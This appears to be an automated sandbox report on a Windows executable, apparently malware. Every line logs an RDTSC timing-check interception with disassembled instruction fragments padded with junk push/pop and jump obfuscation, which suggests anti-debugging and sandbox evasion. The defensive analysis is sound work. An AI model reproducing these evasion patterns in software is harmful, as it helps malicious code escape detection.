Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66304E second address: 663054 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 663392 second address: 6633A0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F882CB47536h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 663545 second address: 663565 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882D0EBF02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b je 00007F882D0EBEFCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 663BB1 second address: 663BB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 663BB5 second address: 663BBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6655B8 second address: 6655BE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6655BE second address: 6655C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 667AEC second address: 667AF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 668B8F second address: 668B93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 668B93 second address: 668B97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6696B4 second address: 669714 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F882D0EBF09h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e movsx edi, bx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007F882D0EBEF8h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D1A79h], edi 0x00000033 push 00000000h 0x00000035 xchg eax, ebx 0x00000036 je 00007F882D0EBF00h 0x0000003c pushad 0x0000003d pushad 0x0000003e popad 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 668970 second address: 668991 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F882CB47548h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66CC3E second address: 66CC57 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F882D0EBEFDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66E26B second address: 66E27C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007F882CB47536h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 672551 second address: 672555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 672555 second address: 672561 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66D42D second address: 66D431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66E4CD second address: 66E568 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F882CB47538h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c ja 00007F882CB4753Ch 0x00000012 pop esi 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F882CB47538h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e jmp 00007F882CB4753Dh 0x00000033 mov edi, dword ptr [ebp+122D3584h] 0x00000039 push dword ptr fs:[00000000h] 0x00000040 mov dword ptr [ebp+12479C5Ah], ecx 0x00000046 mov dword ptr fs:[00000000h], esp 0x0000004d pushad 0x0000004e jns 00007F882CB47538h 0x00000054 clc 0x00000055 popad 0x00000056 mov eax, dword ptr [ebp+122D16CDh] 0x0000005c xor edi, 2B691321h 0x00000062 push FFFFFFFFh 0x00000064 or edi, dword ptr [ebp+122D2BCDh] 0x0000006a nop 0x0000006b push edi 0x0000006c pushad 0x0000006d pushad 0x0000006e popad 0x0000006f jnc 00007F882CB47536h 0x00000075 popad 0x00000076 pop edi 0x00000077 push eax 0x00000078 push eax 0x00000079 push edx 0x0000007a push edx 0x0000007b push edx 0x0000007c pop edx 0x0000007d pop edx 0x0000007e rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66F571 second address: 66F575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66A8BA second address: 66A8BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 673499 second address: 6734A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F882D0EBEF6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66F575 second address: 66F57B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66D4F3 second address: 66D4F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6734A4 second address: 6734BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F882CB47546h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66D4F8 second address: 66D50B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F882D0EBEF6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6734BE second address: 6734DB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F882CB47536h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F882CB4753Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66D50B second address: 66D510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6734DB second address: 6734E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6745AD second address: 6745BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6745BC second address: 6745C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6745C1 second address: 6745CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F882D0EBEF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6745CB second address: 6745CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 674661 second address: 67466B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 67466B second address: 67466F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 67466F second address: 674673 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 674673 second address: 674683 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 674683 second address: 674688 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6748A9 second address: 6748B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 676634 second address: 67663A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 67663A second address: 676640 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 676640 second address: 676644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 676644 second address: 676648 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6767E1 second address: 6767E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 628C57 second address: 628C5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 628C5B second address: 628C66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 679C73 second address: 679C8F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F882CB47542h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 679C8F second address: 679C93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 679C93 second address: 679C97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6777E7 second address: 6777ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6777ED second address: 677805 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F882CB47543h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 679E5C second address: 679E67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F882D0EBEF6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 67EF80 second address: 67EF85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 67EF85 second address: 67EF8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 67E165 second address: 67E169 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 682303 second address: 68231B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882D0EBEFEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 68231B second address: 682321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 682321 second address: 682331 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007F882D0EBEF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 682331 second address: 682335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 68464A second address: 684662 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F882D0EBF04h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 684662 second address: 684666 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 688C84 second address: 688C93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F882D0EBEF6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 688C93 second address: 688CE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882CB4753Fh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F882CB4753Ch 0x00000011 jmp 00007F882CB47542h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push esi 0x0000001d jmp 00007F882CB47548h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 688CE8 second address: 688CED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 68C4E1 second address: 68C4EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F882CB47536h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 68C4EB second address: 68C506 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882D0EBF07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 68C506 second address: 68C50C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6977CC second address: 6977DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F882D0EBEFCh 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 62712B second address: 627131 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 627131 second address: 62714A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 je 00007F882D0EBEF8h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 jc 00007F882D0EBF2Ch 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 696DCF second address: 696DD5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 696F4A second address: 696F86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ecx 0x00000007 push edi 0x00000008 jmp 00007F882D0EBF00h 0x0000000d pop edi 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F882D0EBEFBh 0x00000017 jmp 00007F882D0EBF04h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 696F86 second address: 696F8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6974FF second address: 69750A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 69750A second address: 697510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 69A353 second address: 69A367 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jp 00007F882D0EBEF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 69A367 second address: 69A36E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66B274 second address: 66B27E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F882D0EBEF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66B27E second address: 66B288 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F882CB47536h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66B288 second address: 66B2AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882D0EBF00h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F882D0EBEFDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66B37D second address: 66B381 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66B381 second address: 66B387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66B636 second address: 66B644 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F882CB4753Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66B717 second address: 66B71B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66B7A8 second address: 66B7CA instructions: 0x00000000 rdtsc 0x00000002 jg 00007F882CB47536h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F882CB4753Ch 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jbe 00007F882CB47538h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66B7CA second address: 66B81F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F882D0EBF02h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push edi 0x00000010 jng 00007F882D0EBF0Ah 0x00000016 pop edi 0x00000017 mov eax, dword ptr [eax] 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F882D0EBF09h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66B81F second address: 66B853 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882CB47547h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jg 00007F882CB4755Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F882CB4753Dh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66B853 second address: 66B89B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882D0EBF02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F882D0EBEF8h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 movsx edx, bx 0x00000027 push 4892FC9Fh 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f pushad 0x00000030 popad 0x00000031 pop eax 0x00000032 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66BB0D second address: 66BB11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66BB11 second address: 66BB55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 jg 00007F882D0EBEF8h 0x0000000f pushad 0x00000010 jmp 00007F882D0EBF09h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 popad 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F882D0EBEFDh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66BB55 second address: 66BB6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882CB47541h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66BB6A second address: 66BB6F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66BD71 second address: 66BD75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
